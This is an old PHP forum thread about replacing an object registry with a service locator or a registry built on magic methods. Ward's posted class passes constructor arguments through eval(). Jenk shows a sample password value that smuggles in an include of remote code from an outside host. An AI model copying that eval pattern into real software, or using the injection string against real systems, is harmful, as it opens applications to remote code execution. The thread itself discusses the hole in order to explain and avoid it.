Page 1 of 1
Something better than registry
Posted: Tue Jul 18, 2006 5:37 pm
by Luke
What can I do to avoid registering all of these?
Code: Select all
$registry = new Registry;
$html = new html;
$registry->register('html', $html);
$Error = new Error;
$registry->register('Error', $Error);
$Response = new Response;
$registry->register('Response', $Response);
$MysqlConnect = new MysqlConnect($mysql['default']['host'], $mysql['default']['user'], $mysql['default']['pass'], $mysql['default']['prefix'], $registry);
$MysqlConnect->select_db($mysql['default']['database']);
$registry->register('MysqlConnect', $MysqlConnect);
$Header = new Layout($registry);
$Header->set($CONFIG['header']);
$Content = $html->link('Link', 'somewhere');
$Footer = new Layout($registry);
$Footer->set($CONFIG['footer']);
$appModel = new appModel($registry);
$registry->register('appModel', $appModel);
Posted: Tue Jul 18, 2006 5:42 pm
by Chris Corbyn
A service locator which registers them on first load?
Posted: Tue Jul 18, 2006 8:15 pm
by Ward
I've been using dynamic classes lately, it might be handy for what you need. You still have to manually register your objects, but this method will save you some code. This all works because of the magic __get() and __set() functions. I'm not sure what PHP version these were added in, someone here probably knows that.
This is how i'm planning to build the core of my next framework. It would be quite easy to add viewstates this way, since you could simply serialize the entire $registry->objects array and store it somewhere.
Code: Select all
<?
class registry
{
// this array will hold our initialized objects
private $objects = array();
// syntax: $registry->create("className","'arg1','arg2'","uniqueInstanceId");
public function create($className,$args="", $instanceID)
{
if (class_exists($className))
{
// className is defined, init new copy
$initString = "$"."object = new $className($args);";
eval($initString);
$this->$instanceID = $object;
return $object;
}
else
{
// className not defined, throw error
die("Class '$className' could not be loaded.");
}
}
// this function is invoked when getting a non-existant property
function __get($key)
{
return (isset($this->objects[$key])) ? $this->objects[$key] : false;
}
// this function is invoked when setting a non-existant property
function __set($key, $value)
{
$this->objects[$key] = $value;
}
}
// sample class, used for demonstration
class sample
{
public function __construct()
{
//print "You passed '".$argument1."' and '".$argument2."'";
}
public $firstName;
public $lastName;
}
// create new registry object
$registry = new registry();
// create and register new 'sample' object, with no arguments, call it 'mySampleClass'
$registry->create("sample","","mySampleClass");
// setting properties of 'mySampleClass'
$registry->mySampleClass->firstName = "Billy";
$registry->mySampleClass->lastName = "Bob";
// getting properties of 'mySampleClass'
print $registry->mySampleClass->firstName;
print $registry->mySampleClass->lastName;
?>
Posted: Tue Jul 18, 2006 8:34 pm
by Jenk
Code: Select all
$initString = "$"."object = new $className($args);";
eval($initString);
$this->$instanceID = $object;
return $object;
can be:
Code: Select all
$object = new $className ($args);
$this->$instanceID = $object;
return $object;

Posted: Tue Jul 18, 2006 8:47 pm
by Ward
I originally thought the exact same thing, but what happens when you need to pass multiple arguments? If you pass it "arg1, arg2", it will actually send one argument with the value of "arg1, arg2". Using eval, you can have unlimited arguments.
I usually don't create classes that need arguments though. I prefer to set properties, and then call a load() function.
Posted: Wed Jul 19, 2006 1:29 am
by Chris Corbyn
SimpleTest MockObject generator eval's code like that too I think.
Posted: Wed Jul 19, 2006 3:50 am
by Jenk
Maybe it's just my weariness of eval() coming into play...
I can see one scenario which has come to light that could cause problems, basically because I have only recently created a user class which takes username and password (from $_POST or some such) in __construct(), that it would have a security hole in.
Code: Select all
public function __construct ($userName, $password) { /* blah */ }
What happens if the user entered user/pass:
Code: Select all
Username: John Doe
Password: pass'); include ('http://www.hackyomomma.com/a.php
I can see the final eval() string becoming:
Code: Select all
$object = new UserClass('user', 'pass'); include('http://www.hackyomomma.com/a.php');
Which is not good. Now, a 'solution' would be to filter/validate before eval() but then, the filtering/validation is done within class?
Perhaps a better solution, avoiding eval, can be used? (trying to get one to work atm, shall post if successful.)
Now, you might just say "Well don't do it that way.." but if this service locator is part of your framework.. can you guarantee you'll never forget?

Posted: Wed Jul 19, 2006 4:06 am
by Chris Corbyn
Granted, eval() has *potential* security holes but it's only going to be as insecure as the developer wants to make it.
The code posted described as a "dynamic class" is actually just a simple registry with a factory method. That factory method seems to do it's job quite well but yes... I would never pass anything to eval that may be coming from any of the superglobals.
Posted: Wed Jul 19, 2006 9:41 am
by Ward
Well, I called my code a dynamic class because of the __get and __set overloading methods. These allow you to set properties on-the-fly at runtime. That way, your objects can be called with $registry->objectName, instead of $registry->objects["objectName"].
Posted: Wed Jul 19, 2006 11:42 am
by Chris Corbyn
Ward wrote:Well, I called my code a dynamic class because of the __get and __set overloading methods. These allow you to set properties on-the-fly at runtime. That way, your objects can be called with $registry->objectName, instead of $registry->objects["objectName"].
Quite right

A good thing with having your registry set up using __get() is that you can easily extend it using other classes and they can make calls to things like $this->db, which transparently uses the registry to provide the objects whilst the child class is completly unaware (nor does it care) of where the object actually comes from. It's an "Inherited Registry" for anyone wanting to google the term

Posted: Wed Jul 19, 2006 1:35 pm
by John Cartwright
Ward wrote:I originally thought the exact same thing, but what happens when you need to pass multiple arguments? If you pass it "arg1, arg2", it will actually send one argument with the value of "arg1, arg2". Using eval, you can have unlimited arguments.
I usually don't create classes that need arguments though. I prefer to set properties, and then call a load() function.
call_user_func() 
Posted: Wed Jul 19, 2006 2:46 pm
by jayshields
May I just say lmao at Ward's signature, never knew that one, but I know a few other good easter eggs in Windows.
Try to name a file or folder 'con'.